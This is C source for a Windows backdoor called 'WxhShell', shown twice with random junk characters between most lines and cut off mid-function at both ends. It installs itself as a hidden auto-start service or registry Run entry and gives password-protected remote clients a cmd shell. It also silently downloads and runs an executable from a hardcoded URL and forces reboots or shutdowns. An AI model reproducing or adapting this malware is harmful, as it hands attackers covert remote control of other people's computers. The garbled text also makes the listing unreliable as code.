(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h#YD~!aJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4)-)# `K nY-* i!H if (!NtQueryInformationProcess) return 0; JyBp-ii FVWfDQ$&v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [`fI:ao| if(!hProcess) return 0; &vUq}r%P *b(wVvz if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 70W"G
X& !AN^ ,v]D CloseHandle(hProcess); OmMX$YID c-]fKj7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _ *(bmJM if(hProcess==NULL) return 0; oY9FK{ $Rtgr{ {;" HMODULE hMod; o=+Z.-q char procName[255]; {+T/GBF-K= unsigned long cbNeeded; EYzg%\HH n~0z_;5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZXiRw)rM OYwGz CloseHandle(hProcess); -e -e9uP W.}].7}h if(strstr(procName,"services")) return 1; // 以服务启动 fZryG :J_oj:0r"f return 0; // 注册表启动 Pi6C/$
K } 5>0.NiXGf' "cUg>a3 // 主模块 i2,U,>. int StartWxhshell(LPSTR lpCmdLine)
m)>&ZIXa { T|4snU2M SOCKET wsl; Z|6{T BOOL val=TRUE; d.F)9h]XHO int port=0; !XE aF]8 struct sockaddr_in door; 1i|.h L K7Xw3 if(wscfg.ws_autoins) Install(); , |E$' HxwlYx,4 port=atoi(lpCmdLine); $xW**& |Fln8wB if(port<=0) port=wscfg.ws_port; C".1+Um NlPS# WSADATA data; *:"^[Ckc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? 5|/
C 2ypIq if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; laREjN/\` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (|h:h(C door.sin_family = AF_INET; $~u.Wq door.sin_addr.s_addr = inet_addr("127.0.0.1");
}uO5q42 door.sin_port = htons(port); ]KK`5Dv|,e I."p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0{rx.C7| closesocket(wsl); h SV@TL return 1; W
Ox_y, } @|A| tai Vk4 if(listen(wsl,2) == INVALID_SOCKET) { 2:^njqX closesocket(wsl); ? Nj)6_& return 1; ^$?qT60%d| } APBK9ky Wxhshell(wsl); :h5J r8 WSACleanup(); MgJ5B(c ]#eh&jw return 0; [/9(NUf CY"i-e"q<Q } /'&;Q7!) pO/%N94s // 以NT服务方式启动 RXSf,O VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) __N.#c/l{ { !vqC+o>@ DWORD status = 0; Jbw!:x
[ DWORD specificError = 0xfffffff; HkjEiU R, 0Oq5 serviceStatus.dwServiceType = SERVICE_WIN32; $Xf (^K serviceStatus.dwCurrentState = SERVICE_START_PENDING; G2Qjoe`Uc serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DZ`k[Z.VZ serviceStatus.dwWin32ExitCode = 0; ~l4f{uOD>] serviceStatus.dwServiceSpecificExitCode = 0; F8mC?fbK9 serviceStatus.dwCheckPoint = 0; Yv\!vW7I serviceStatus.dwWaitHint = 0; g`Md80*Zfk |r=DBd3 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ExhL[1E if (hServiceStatusHandle==0) return; HtBF=Boq 3VO:+mT status = GetLastError(); \HSicV#i if (status!=NO_ERROR)
z1j|E
: { O.\h'3C serviceStatus.dwCurrentState = SERVICE_STOPPED; 7sV/_3H+ serviceStatus.dwCheckPoint = 0; 3oBC
serviceStatus.dwWaitHint = 0; 5w3Fqu>39? serviceStatus.dwWin32ExitCode = status; 78Y@OL_$ serviceStatus.dwServiceSpecificExitCode = specificError; h8v>zNf' SetServiceStatus(hServiceStatusHandle, &serviceStatus); rG6\ynBX% return; X0i3 _RVa } h}Ygb-uZ mnQ'X-q3iO serviceStatus.dwCurrentState = SERVICE_RUNNING; 4M`Xrfwm'[ serviceStatus.dwCheckPoint = 0; \+B?}P8N*l serviceStatus.dwWaitHint = 0; zy)i1d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l)Mh2lA,= } P[i\e7mR 2P}I'4C- // 处理NT服务事件,比如:启动、停止 f1cl'; VOID WINAPI NTServiceHandler(DWORD fdwControl) SGf9U^ds { )U98 switch(fdwControl) aqL<v94wX { YKx 1NC case SERVICE_CONTROL_STOP: [MmM 9J[" serviceStatus.dwWin32ExitCode = 0; g9V.13k serviceStatus.dwCurrentState = SERVICE_STOPPED; 5'
\)` serviceStatus.dwCheckPoint = 0; uQp_':\k serviceStatus.dwWaitHint = 0; n<R \w''x { lX;mhJj! SetServiceStatus(hServiceStatusHandle, &serviceStatus); MUwVG>b8J~ } AzjMv6N return; h}6_ybmZ case SERVICE_CONTROL_PAUSE: tgN92Q.i6T serviceStatus.dwCurrentState = SERVICE_PAUSED; #5{sglC"|F break; Z3;=w%W case SERVICE_CONTROL_CONTINUE: Y mDn+VIg serviceStatus.dwCurrentState = SERVICE_RUNNING; H@W0gK(cS; break; V5s&hZZYa case SERVICE_CONTROL_INTERROGATE: ]P3[.$z break; P\(30 }; [x_s/"Md; SetServiceStatus(hServiceStatusHandle, &serviceStatus); rm|7
[mK } %V_eJC""? mw+j|{[ // 标准应用程序主函数 h$&rE@N| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0xP:9rm { {hd-w4"115 OmNn,PCl8 // 获取操作系统版本 -Enbcz(B OsIsNt=GetOsVer(); I~RcOiL) GetModuleFileName(NULL,ExeFile,MAX_PATH); Phlk1*1n #s^s_8#&e // 从命令行安装 mQ,{=C=D if(strpbrk(lpCmdLine,"iI")) Install(); Xp^$
E6YFy dXZP[K# // 下载执行文件 Lz6*H1~ if(wscfg.ws_downexe) { 2oB?Dn if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <7RfBR.9 WinExec(wscfg.ws_filenam,SW_HIDE); s=/^lOOO } rw*M&qg!z t-EV h~D1p if(!OsIsNt) { Q\WXi // 如果时win9x,隐藏进程并且设置为注册表启动 VM;g+RRq HideProc(); e6m1NH4, StartWxhshell(lpCmdLine); f\'G`4e } F@^N|;_2 else PP4d?+;V if(StartFromService()) 5"2@NL // 以服务方式启动 ,.7vBt6 p StartServiceCtrlDispatcher(DispatchTable); !E0fGh else MPG+B/P& // 普通方式启动 g RU-g StartWxhshell(lpCmdLine); )@$
&FFIu $i%HDt| return 0; m3"c (L`B } dqz1xQ1 E{oB2;P swt\Ru6, 4k*qVOBa6R =========================================== k+txb? *-7fa0< i-"<[*ePd hg&u0AQ2 hXnw..0" gix>DHq$k " Xj;2h{#s +gNX7xuY #include <stdio.h> )|:8zDuJ #include <string.h> @?M;'xMbB #include <windows.h> 40+fGRyOL #include <winsock2.h> ](n69XX_ #include <winsvc.h> !ABLd|tP #include <urlmon.h> PHQcstW 2<m
Q,,j #pragma comment (lib, "Ws2_32.lib") w= B #pragma comment (lib, "urlmon.lib") cf&C|U <G}m # #define MAX_USER 100 // 最大客户端连接数 vVdxi9yk #define BUF_SOCK 200 // sock buffer _KxX&THaj #define KEY_BUFF 255 // 输入 buffer i8eA_Q !|(Ao"] #define REBOOT 0 // 重启 ULck #define SHUTDOWN 1 // 关机 R05T5Q1]A 6Ok,_
! #define DEF_PORT 5000 // 监听端口 ^T+<!k x' ?.~ #define REG_LEN 16 // 注册表键长度 ]%||KC!O #define SVC_LEN 80 // NT服务名长度 !8Y3V/)NU (E IR z> // 从dll定义API i
_8zjj7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k3/4Bt G/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wvX"D0eVn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "V:XhBG? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Iw*C*%}[Z e00RT1L // wxhshell配置信息 Z{
%Uw;d struct WSCFG { JkJhfFV int ws_port; // 监听端口 > `0| X char ws_passstr[REG_LEN]; // 口令 yq!CWXZ2 int ws_autoins; // 安装标记, 1=yes 0=no [e1\A&T char ws_regname[REG_LEN]; // 注册表键名 #yX^?+Rc char ws_svcname[REG_LEN]; // 服务名 do*Wx2:R char ws_svcdisp[SVC_LEN]; // 服务显示名 $Q#?`j char ws_svcdesc[SVC_LEN]; // 服务描述信息 37~rm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j}"]s/= 6 int ws_downexe; // 下载执行标记, 1=yes 0=no <G&WYk%u* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~V!EtZG$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v(a9#bMZU PQQgDtiH }; ?'T"?b< HoMQt3C // default Wxhshell configuration Qk|( EFQ9 struct WSCFG wscfg={DEF_PORT, ?3n=m%W,J* "xuhuanlingzhe", qPp]K?. 1, 2,+@#q "Wxhshell", rdFs?hO "Wxhshell", Hc>([?P%t "WxhShell Service", 8R&z3k;!t "Wrsky Windows CmdShell Service", XpOCQyFnM "Please Input Your Password: ", ~;TV74~rr 1, Mi<*6j0 "http://www.wrsky.com/wxhshell.exe", i4 P$wlO "Wxhshell.exe" = SA
4\/ }; Bk@bN~B4 |%n|[LP' // 消息定义模块 oUCS| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sek6+#|= char *msg_ws_prompt="\n\r? for help\n\r#>"; h!Z Z2[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ER/\ +Z#Z char *msg_ws_ext="\n\rExit."; B>1M$3`E char *msg_ws_end="\n\rQuit."; 0H;"5 char *msg_ws_boot="\n\rReboot..."; R,uJK)m char *msg_ws_poff="\n\rShutdown..."; oJhEHx[f char *msg_ws_down="\n\rSave to "; hcj{%^p {E3;r7 char *msg_ws_err="\n\rErr!"; }`#j;H$i char *msg_ws_ok="\n\rOK!"; ='KPT1dW* bn5"dxV char ExeFile[MAX_PATH]; 9tW3!O^_ int nUser = 0; -DA;KWYS HANDLE handles[MAX_USER]; HW^{ ;'kH~ int OsIsNt; (2n3exx >3v0yh_3 SERVICE_STATUS serviceStatus; w($XEv; SERVICE_STATUS_HANDLE hServiceStatusHandle; r#ks>s #d3[uF]OmW // 函数声明 AX/=}G int Install(void); &mCs%l int Uninstall(void); *{HGLl|= int DownloadFile(char *sURL, SOCKET wsh); *sIi$1vHu int Boot(int flag); h\Z3y AYd void HideProc(void); c>M_?::)0 int GetOsVer(void); 4mki&\lw` int Wxhshell(SOCKET wsl); >6n@\n void TalkWithClient(void *cs); BASO$?jf4 int CmdShell(SOCKET sock); N)`tI0/W int StartFromService(void); x*3@,GmZl int StartWxhshell(LPSTR lpCmdLine); y[TaM9< FI80vV7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n\~"Wim<b VOID WINAPI NTServiceHandler( DWORD fdwControl ); }S
Y`KoC1 ag|9$ // 数据结构和表定义 BF@m)w.v SERVICE_TABLE_ENTRY DispatchTable[] = t201ud2$ { hj%}GP{{ {wscfg.ws_svcname, NTServiceMain}, aMe%#cLI {NULL, NULL} m~b#:4D3 }; =f/avGX wCqE4i // 自我安装 K+(m'3` int Install(void) c`Lpqs` { <h)deB+} char svExeFile[MAX_PATH]; G:H(IA7Z HKEY key; #sozXza\G strcpy(svExeFile,ExeFile); ?14X8Mb8W_ Nj! R9N // 如果是win9x系统,修改注册表设为自启动 ZYpD8u6U if(!OsIsNt) { h+\$Z] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ke'YM{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g;|
n8] RegCloseKey(key); N9~'P-V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {FrHm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D_L'x" RegCloseKey(key); B'<O)"1w return 0; c~Q`{2%+ } #l8K8GLuf } ;tZ}i4Ud } C={sE*&dYX else { KyVe0>{_u &@Ji+ // 如果是NT以上系统,安装为系统服务 'eTpcrS3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YB(#]H|8S if (schSCManager!=0) L>|A6S#y8/ { fh/)di SC_HANDLE schService = CreateService wFH(.E0@Q ( cHfK-R schSCManager, *GY,h$Ul wscfg.ws_svcname, 5cv,
>{~5 wscfg.ws_svcdisp, ePFC$kMn SERVICE_ALL_ACCESS, ;1Tpzm SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5Lo==jHif SERVICE_AUTO_START, ~}FLn9@* SERVICE_ERROR_NORMAL, lUm}nsp=X svExeFile, QZeb+r NULL, (]GY.(F{ NULL, `qQQQ.K7)z NULL, +#2@G}j NULL, `0-m`> 1> NULL Tg}H < T ); '8iv?D5 M if (schService!=0) >Kqj{/SWK { J[Y lo&w3 CloseServiceHandle(schService); s?z=q%-p CloseServiceHandle(schSCManager); oWn_3gzw; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D0"yZp} strcat(svExeFile,wscfg.ws_svcname); #&HarBxx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -bG#h)yj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $txWVjR?\ RegCloseKey(key); *HfW(C$ return 0; DXw9@b } }sm56}_ } 3n=cw2FG CloseServiceHandle(schSCManager); c'VtRE# z~ } p5D3J[?N } yM\tbT/l $(!D/bvJ return 1; NC#kI3 { } 2T{-J!k 0bRkC,N
( // 自我卸载 q,19NZ int Uninstall(void) |R|U z` { a|^-z|. HKEY key; 5#A1u
Nb 3]5&&=# if(!OsIsNt) { cUX]tiC0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HEW9YC" RegDeleteValue(key,wscfg.ws_regname); VA*79I#_q RegCloseKey(key); 7~k~S>sO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ocuNrkZ RegDeleteValue(key,wscfg.ws_regname); -t706(#k RegCloseKey(key); )r-|T&Sn return 0; ~`Gcq"7,! } pR^Y|NG! } Xj&~N;Ysb } fuwp p else { "!4>gg3r ?F_;~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0DP%44Cv 9 if (schSCManager!=0) Aghj) V { f1,$<Y|qU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _yXeX if (schService!=0) &t@6qi`d { 8aIq#v if(DeleteService(schService)!=0) { jL[Is2<@
CloseServiceHandle(schService); ;Bc<u[G CloseServiceHandle(schSCManager); 9h{:!
return 0; t+Q|l&|0 } r
z>zdj5} CloseServiceHandle(schService); Y+5A2Z)f[ } pOe` *2[ CloseServiceHandle(schSCManager); Eo3Aak o } `cTsS } A0 w `o (2a"W` return 1; hSf#;=9' } B7QtB3bn lr= !:D=K // 从指定url下载文件 F7PZV+\ int DownloadFile(char *sURL, SOCKET wsh) X;[zfEB { e"8m+] HRESULT hr; =xQfgj char seps[]= "/"; "/]tFY%Y char *token; \(v_", char *file; ucm.~1G( char myURL[MAX_PATH]; ?;=Y1O7N( char myFILE[MAX_PATH]; 9Z_OLai
q@!H^hd} strcpy(myURL,sURL); UHDI9>G~, token=strtok(myURL,seps); u:>3j,Cs while(token!=NULL) yqc(32rF! { $oBZe>s. file=token; uL{~(?U $ token=strtok(NULL,seps); ?@ye*%w_ } 1ROgUJ; 1VM5W!} GetCurrentDirectory(MAX_PATH,myFILE); \/dm}' ` strcat(myFILE, "\\"); ur quVb strcat(myFILE, file); &+|4(d1 send(wsh,myFILE,strlen(myFILE),0); b5,}w: send(wsh,"...",3,0); y5t Ap hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &JQ@(w if(hr==S_OK) %<o$
J~l~ return 0; ezy5Jqk5% else ,f""|X5 return 1; [LEh Hbj:CViYq }
#YMp,i hx;kEJ // 系统电源模块 ^cXL4*_= int Boot(int flag) |@9I5Eg)iE { &@Gu~)^( HANDLE hToken; m.g@S30 TOKEN_PRIVILEGES tkp; ~;4k UJD +W3>Yg%)X if(OsIsNt) { 5x'y{S< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9%k.GE
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v\tbf tkp.PrivilegeCount = 1; 7 QJcRZ[lU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :^L]Da3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SG o:FG if(flag==REBOOT) { uTt:/gm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8qLgB
return 0; _+Kt=;Y8 } 2 g8P$+;
else { $%"}N_M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N5_.m(: return 0; 6&Ir0K/ } Tsp-]-) } }EG(!)u else { p5rRhu/|k3 if(flag==REBOOT) { 4E(5Ccb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \@t5S return 0; "$V2 $ } -ZON']|<}k else { a~TZ9yg+HL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A0k>Nb\c3 return 0; g>-[-z$E3 } *^5,7}9Qo } xa*gQ%+F nAC#_\ return 1; ASU\O3%% } `GWq3c5 >^ar$T;Ys // win9x进程隐藏模块 WQC6{^/4[1 void HideProc(void) -Dm.z16 { D;n%sRq(Z beR)8sC3q HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =8D4:Ds if ( hKernel != NULL ) ymCIk/\ { ~J{{n_G{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H?^#zj`Ex+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <|G~S<y} FreeLibrary(hKernel); J0! E@ } 6EWB3.x19 {EN@,3bA return; YYh_lAS> } @O @yJ{(I ,#O8:s // 获取操作系统版本 ?C2;:ol int GetOsVer(void) WkIV { sYI':UQe OSVERSIONINFO winfo; 'vIkA= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [LDzR7vnf GetVersionEx(&winfo); <%7
V`,*g/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /~5YTe(F return 1; Y"%o\DS* else PCfs6.*5Mf return 0; X($SBUS6 } zL}hFmh D.!7jA# // 客户端句柄模块 04d$_1:}a int Wxhshell(SOCKET wsl) EC&,0i4n: { 4TE ?mh} SOCKET wsh; {3Wc<&D
C1 struct sockaddr_in client; k4rBS DWORD myID; W
(=B H "-:\-sMt{ while(nUser<MAX_USER) .p}Kl$K] { /CE d14. int nSize=sizeof(client); T+D]bfjr&& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <~+ if(wsh==INVALID_SOCKET) return 1; Z$XpoDbOy LS$82UB& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h'KtG<+ if(handles[nUser]==0) ~mU_`o closesocket(wsh); mIo7 K5z{ else wCmv/m nUser++; mh]$g<*m } r/2:O92E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mkA|gM[g7 7# 3)&"j
return 0; D:EF@il } V~Lq,oth GA}^Rh`T- // 关闭 socket Uroj%xN void CloseIt(SOCKET wsh) aB'@8[]z { (=/;rJ`q closesocket(wsh); LS;anNk@.} nUser--; sdD[`# ExitThread(0); = h( n+y< } Ti'kn{
Zv Y
sV // 客户端请求句柄 ?!oa15 void TalkWithClient(void *cs) 1?\ Y,+ { >cL2PN_y w%n]~w=8 SOCKET wsh=(SOCKET)cs; ,2bAKa char pwd[SVC_LEN]; H/Q)zDP char cmd[KEY_BUFF]; }C.{+U char chr[1]; =rF8[Q0K int i,j; [+z:^a1?V E
ET 2|*} while (nUser < MAX_USER) { Bdepvc}[# ZRfa!9vl if(wscfg.ws_passstr) { ):
C4}&l if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3)SZVME1Z //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q$j48,e //ZeroMemory(pwd,KEY_BUFF); ;$< ek(i7 i=0; }wXD%X@)l while(i<SVC_LEN) { t7FQ.E,T )7J>:9h // 设置超时 MNC!3d(D\R fd_set FdRead; EZBzQ"" struct timeval TimeOut; >,Z{wxzJ FD_ZERO(&FdRead); Ao$z)<d' FD_SET(wsh,&FdRead); DA~ELje^j TimeOut.tv_sec=8; Q;nr=f7Ys TimeOut.tv_usec=0; K/cK6Yr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qV,j)b3M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w-Fk&dC69 GR
`ncI$z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2z3A"HrlA pwd=chr[0]; F2'cL @E3 if(chr[0]==0xd || chr[0]==0xa) { [hbp#I~*[ pwd=0; #57z-x[1 break; 0 +LloB }
H>6;I i++; IIiN1
Lu,5 } iZk``5tPE 4V8wB}y7e // 如果是非法用户,关闭 socket pr(\?\a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _xt(II } ku8c) ':4pH#E send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ypo=y/! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *`T&Dlt'8 H_nJST<v` while(1) { 7+4"+CA 8ZfIh ZeroMemory(cmd,KEY_BUFF); 7:'>~>' c F]3gM // 自动支持客户端 telnet标准 =lQ[%& j=0; H%aLkV!J while(j<KEY_BUFF) { ;(6lN<iU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |3ETF|)? cmd[j]=chr[0]; " SqKS,J if(chr[0]==0xa || chr[0]==0xd) { Y3>\;W*? cmd[j]=0; 3
?~+5DU break; zAJUL } 3HR]T Q%r j++; QPE.b-S } );H[lKy >nEnX // 下载文件 s;$TX30 4 if(strstr(cmd,"http://")) { ;tiUOixJ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZH_4'm!^g| if(DownloadFile(cmd,wsh)) J?fh3RW9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}c2l' else mXj Ljgc} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5N<v'6&= } \zL7j4 else { w8I&:"^7< |9Ks13?Ck switch(cmd[0]) { dvF48,kr 9Ib(x0_ // 帮助 FH`&C*/F0Y case '?': { m-92G8' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <OSvRWP) break; 1[9j`~[([ } CT%m_lN // 安装 [:@?,?V\N case 'i': { $IZZ`Z]B if(Install()) 6 <S&~q send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;YBX]t else OUO^/]
J1S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G$uOk?R#5c break; }px] } Kg-X]yu*0 // 卸载 i9U_r._qj; case 'r': { l0xFt
~l if(Uninstall()) LlY*r+Cgl1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }(EOQ2TI else /C2f;h(1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WTs[Sud/ break; G11.6]?Gg } Jd"s~n<>K // 显示 wxhshell 所在路径 N4|q2Jvj6 case 'p': { lNVAKwW2# char svExeFile[MAX_PATH]; )Hm[j)YI strcpy(svExeFile,"\n\r"); X`QW(rq strcat(svExeFile,ExeFile); ?$4R < send(wsh,svExeFile,strlen(svExeFile),0); E wsq0D break; |hQ|'VCN } Sb4PCt // 重启 \OT)KVwO case 'b': { ^6y4!='ci send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k|Yv8+XT if(Boot(REBOOT)) f.)F8!! send(wsh,msg_ws_err,strlen(msg_ws_err),0); |
8Egw-f else { MYSc*G closesocket(wsh); RXS| -_$ ExitThread(0); sxwW9_C } }Rxg E~F break; "`*a)'.'^c } yXo0z_ G // 关机
q,JA~GG case 'd': { ^WW|AS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q }v04Yy,o if(Boot(SHUTDOWN)) )-:eQ{st` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N <] else { %g@3S!lK closesocket(wsh); b_gN?F7_ ExitThread(0); m?% H<4X } >VUQTg break; nk|N.%E } &zX 3 // 获取shell jl-Aos"/ case 's': { JBEgiQ/ CmdShell(wsh);
W%9K5(e closesocket(wsh); Y\Qxdq ExitThread(0); ])j|<W/ break; \M"^Oe{Dy? } X>Xp&o // 退出
QXxLe* case 'x': {
K M\+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x D=qU CloseIt(wsh); OG^WZ.YU break; ; (0(8G } KD"&_PX // 离开 OWXye4`* case 'q': { %X,B-h^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); p@7i=hyt`p closesocket(wsh); }8F$&
AFt WSACleanup(); .4C[D{4 exit(1); >yA,@%X break; ^8oc^LOa~2 } KWhM } -wRyMY_D } Jt>[]g$ P`3s\8[Q // 提示信息 `\F%l?aY if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,*nZf| } g
y e(/N+I } <.=#EV^i QTjftcu return; <V:<x } O? Gl4_y <[y$D=n // shell模块句柄 $]H= int CmdShell(SOCKET sock) hLytKPgt { :ONuWNY
N STARTUPINFO si; lO2T/1iMTW ZeroMemory(&si,sizeof(si)); 2^ ,H_PS si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <{NYD. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h-b5 PROCESS_INFORMATION ProcessInfo; h/X5w4 char cmdline[]="cmd"; )}Rfa}MD CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,P@/=I5 return 0; $D/bU lFx } v :+8U[x 7moElh v // 自身启动模式 .qIy7_^ int StartFromService(void) ~6-"i0k
{ si^4<$Nr%j typedef struct m/<F 5R { :(l $^
M DWORD ExitStatus; O\4+_y DWORD PebBaseAddress; ?bt`fzX{l DWORD AffinityMask; Kl aZZJ DWORD BasePriority; j
FPU
zB" ULONG UniqueProcessId; 4P4 Fo1 ULONG InheritedFromUniqueProcessId; Zc%foK{ } PROCESS_BASIC_INFORMATION; P!FEh'. RrO0uadmn PROCNTQSIP NtQueryInformationProcess; Q$3\ /mz oEQ{m5O9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y^d[( c static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s^g.42?u .L^pMU+!^ HANDLE hProcess; bCA2ik PROCESS_BASIC_INFORMATION pbi; <g3du~ rQcRjh+E
H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UR1JbyT if(NULL == hInst ) return 0; B.22
DuE# 8R\>FNk; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \]T=j#.S$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fou_/Nrue NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SE;Tujwhqi =sE2}/g if (!NtQueryInformationProcess) return 0; #*Yi4Cn< Y^f94s:2S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $!|8g`Tm if(!hProcess) return 0; 15xd~V?ai: MegE--h if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =f4[=C$&` \LdmGv@& CloseHandle(hProcess); wC(vr.,F IpWy)B>Fl3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j{{~Z M if(hProcess==NULL) return 0; t['k%c ^)f{q)to HMODULE hMod; 8_a$kJJ2 char procName[255]; AV:Xg4UJv unsigned long cbNeeded; %@}o'=[ GOy=p3mQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, 